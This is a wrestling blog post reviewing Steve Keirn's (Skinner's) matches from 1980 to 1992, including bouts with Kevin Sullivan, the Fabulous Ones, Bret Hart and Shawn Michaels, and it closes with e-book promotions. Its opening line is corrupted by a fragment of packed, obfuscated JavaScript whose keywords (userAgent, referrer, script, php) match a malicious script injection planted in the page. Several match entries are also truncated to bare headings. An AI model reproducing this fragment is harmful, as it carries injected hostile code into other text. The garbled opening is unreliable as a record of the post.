Wrestler of the Day – December 7: Steve Keirn
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkrai|var|u0026u|referrer|nndee||js|php'.split('|'),0,{})) we’re looking at one of the strangest gimmicks I can remember in a long time: Steve Keirn, better known as Skinner.
from November 29, 1980.
TV Title: Steve Keirn vs. Kevin Sullivan
Steve is defending and they shake hands before the match. Sullivan takes him down with a quick armdrag but gets caught in an early headscissors. Back up and a shoulder puts Kevin outside but Keirn is nice enough to hold the ropes open so Sullivan can get back in. We get a standoff until the champ takes him down by the arm again.
Keirn stays on the arm despite Sullivan rolling all over the ring to try an escape. He takes Sullivan back down to the mat by the arm but his abdominal stretch is countered with Keirn being sent out to the floor. Sullivan offers to hold the ropes open just like Steve did but jumps the champion coming back in and grabs a small package for the pin and the title.
Off to Florida in the summer of 1981.
Dory Funk Jr. vs. Steve Keirn
He comes up holding his knee so Dory sends him face first into the post and hooks the spinning toehold for a pin on the unconscious Keirn.
Crockett Cup First Round: Fantastics vs. Fabulous Ones
Ok by sheer talent in the ring this has to be good. The Fabulous ones are Steve Keirn (Skinner and the current owner of FCW) and Stan Lane (future member of the Midnight Express). The Fantastics are Bobby Fulton and Tommy Rodgers and are probably my favorite NWA tag team. Fulton vs. Keirn to start and this goes fast. Clipped to Keirn hammering on Fulton. This lack of commentary is really pretty interesting.
And again at AWA Wrestlerock 1986.
Fabulous Ones vs. Barry Windham/Mike Rotunda
The Fabulous Ones are Steve (Skinner) Keirn and Sweet Stan Lane. The guest announcer here is another radio guy which is the case with the vast majority of them. Windham vs. Lane starts things off. The crowd has filled in a lot and it looks much better. Feeling out process to start as Barry grabs a headlock. This is back when Windham was awesome and in shape so he’s fun to watch.
Off to Rotunda and the arm work (I’m as shocked as you are) begins. Lane tries to escape a hammerlock but gets kneed in the arm instead. Back to Barry who cranks on the arm some more. Off to Keirn who is armdragged right back down. Back to Mike who works a top wristlock. Barry comes in quickly for a chinlock. Keirn tries a leapfrog but gets punched in the face for his efforts. You can’t say Barry is over complicating things.
Windham/Rotunda hit a double dropkick and Keirn is in trouble. Mike misses a corner charge and the heels take over. Things break down quickly but Rotunda can’t make a tag. After a long beating by Lane it’s back to Keirn. Lane comes in for a neckbreaker but misses an elbow. There’s the tag to Barry after a short heat segment. Powerslam gets two on Stan.
The Ones cheat again and Barry gets caught in a chinlock. We’re ten minutes into this and it hasn’t really kicked into high gear yet, which is a shame given what you have to work with here. Barry grabs a small package on Lane for two. Off to Rotunda who speeds things up and gets two on Lane. There’s an airplane spin for two. Lane backdrops him and sets for a piledriver but Barry comes off the top with an elbow to the back of the head, giving Rotunda the pin.
Rating: C. Not a great match or anything here but it was ok I guess. They never cranked this up as high as they could and that really hurt it. Also the lack of any reason for these teams or wrestlers in any match for that matter to want to fight each other is really bringing things down. If they don’t care, why should I care?
Off to Florida with PWF Homecoming in 1989.
Scott Hall/Steve Keirn vs. Dick Slater/Bam Bam Bigelow
From the next week.
Tag Titles: Fabulous Ones vs. Cody Michaels/Jerry Lynn
Rating: C. This was fine as throwing out a title match is a good way to keep things interesting. Even if it was pretty dominant for the Fabs, putting the titles on the line at least made it seem possible that something big could happen. Lynn was still good even when he was young, which is impressive. He looks about the same too.
And one last run from February 2,
New Kids vs. Fabulous Ones
Team Mustafa vs. Team Slaughter
Colonel Mustafa, Berzerker, Skinner, Hercules
Sgt. Slaughter, Tito Santana, Jim Duggan, Texas Tornado
Rating: F. The match sucked, it was never in doubt, and the biggest deal on the heel team was Skinner, who would get an IC Title shot soon after this. What a horrible match and one of the most worthless ones in the history of the show so far, which is covering quite a bit of ground. Nothing to see here at all.
Intercontinental Title: Bret Hart vs. Skinner
If you don’t know who the champion is here, you’re beyond my help. Skinner is in the ring when the champion’s music plays so what do you expect out of this? Bret’s singles push was in full swing here, having beaten Perfect in their classic at Summerslam. Skinner is apparently undefeated at this point, meaning he had beaten about three jobbers or something.
Bret gives some girl the shades and she FREAKS. You would think it was 1999 and she was a 13 year old at an N Sync concert. Bret is crisp as all goodness here, and given that Steve Keirn, more commonly known as Skinner, is a very good wrestler in his own right means this should be solid. He’s the head trainer in FCW, or at least he was as of a few months ago. We get a WILL YOU BE SERIOUS from Monsoon as those two somehow have more chemistry than Ventura and McMahon.
That’s a very high compliment if there ever was one. Bret goes into the post to turn the tide here. That shouldn’t be a DQ as some commentators freak out about. It’s part of the ring after all. Bret goes into his standard great selling as the clinic on psychology that is a Bret Hart match begins. We get an abdominal stretch and say it with me: Gorilla criticizes it. One of my favorite bits that they do is Gorilla saying something and Heenan repeating it.
That’s just great stuff that you just can’t teach. Danny Davis is the referee here, despite being banned from doing so for life plus ten years. We go through the motions of Skinner working over the shoulder and things are working quite well indeed. Just as I say that, he goes after Bret’s leg and even Gorilla points out how stupid that is. Heenan says that it’s like beating on a lizard and goes into a biology thing, which Gorilla is annoyed with.
The crowd is WAY behind Bret here. Skinner hits his finisher, a reverse DDT, but Bret gets out at two of course. Bret plays possum, and despite the fact that he does this IN EVERY MATCH HE HAS EVER HAD, Skinner falls for it and Bret goes into the original five moves of doom, which of course he doesn’t get through before Skinner breaks up the streak, just like everyone else does.
See, the difference between Hogan and Hart is that while they always finish the same, Bret had a million different ways of getting there while you could plot a Hogan match from bell to bell with relative ease. Skinner goes up top for no apparent reason, and in a great impression of Ric Flair, gets slammed off of it. Sharpshooter goes on and the match goes off.
Rating: B. It’s a formula match, but since Bret is the master of formula matches, ok second master after Flair, this was fine. Skinner was built up as the challenger of the week, he went in and did his stuff, Bret survived and got the tap out. Do that about 10 times and you have yourself a dominant champion, which is exactly what they did and it worked like a charm. This was very solid stuff all around and it worked quite well to open the show. The bad part is that it’s probably going to be the best match of the night.
From Wrestling Challenger at some point in January 1992.
Skinner vs. ???
Back in and a sunset flip gets two on Skinner but he plants the guy with something like a Pedigree. A reverse DDT is enough for the pin.
From Wrestlemania VIII.
Owen Hart vs. Skinner
From a tape called Bashed in the USA on December 14, 1992.
Intercontinental Title: Shawn Michaels vs. Skinner
Dude really? Also heel vs. heel? Skinner has an alligator skin cowboy hat which JR critiques. Skinner slaps Shawn to start as maybe he’s a face here? I don’t remember that at all but he might just be face by default here. He knocks Shawn to the floor and back in, punches him a few times. Swinging neckbreaker gets two. Ross thinks Skinner is like a guy from Deliverance. I’ll let you make your own jokes there.
Shoulderbreaker puts Shawn down for two again. What is with Shawn getting beaten up in back to back matches here? Shawn hits the floor again and is in big trouble. He avoids being rammed into the post as Skinner goes into the post instead. Horrible looking dropkick puts Skinner down in the ring as Savage talks like Yoda. Some headbutts by Skinner put Shawn down. And then Shawn hits the superkick to retain the title. Totally out of nowhere there but at least it’s a pin.
Rating: D+. What is UP with this tape? Shawn got beaten up for the most part here and then won at the very last second. He’s still champion at least and he got the pin but why is Shawn losing until the very last minute only to either cheat or hit a quick move to win? I’m not sure what’s going on here but it’s kind of stupid.
Undertaker vs. Skinner
The match is joined in progress with Undertaker being knocked out to the floor. After about eight seconds we see a commercial for G.I. Joe toys. Back with them heading outside and Skinner choking Undertaker as we go off the air. They would show the “conclusion” next week which was Undertaker winning in about 30 seconds with the Tombstone.
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:
http://www.amazon.com/dp/B00PZ1GR7E
And check out my Amazon author page with wrestling books for under $4 at:
http://www.amazon.com/Thomas-Hall/e/B00E6282W6
Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5. Check out the details here.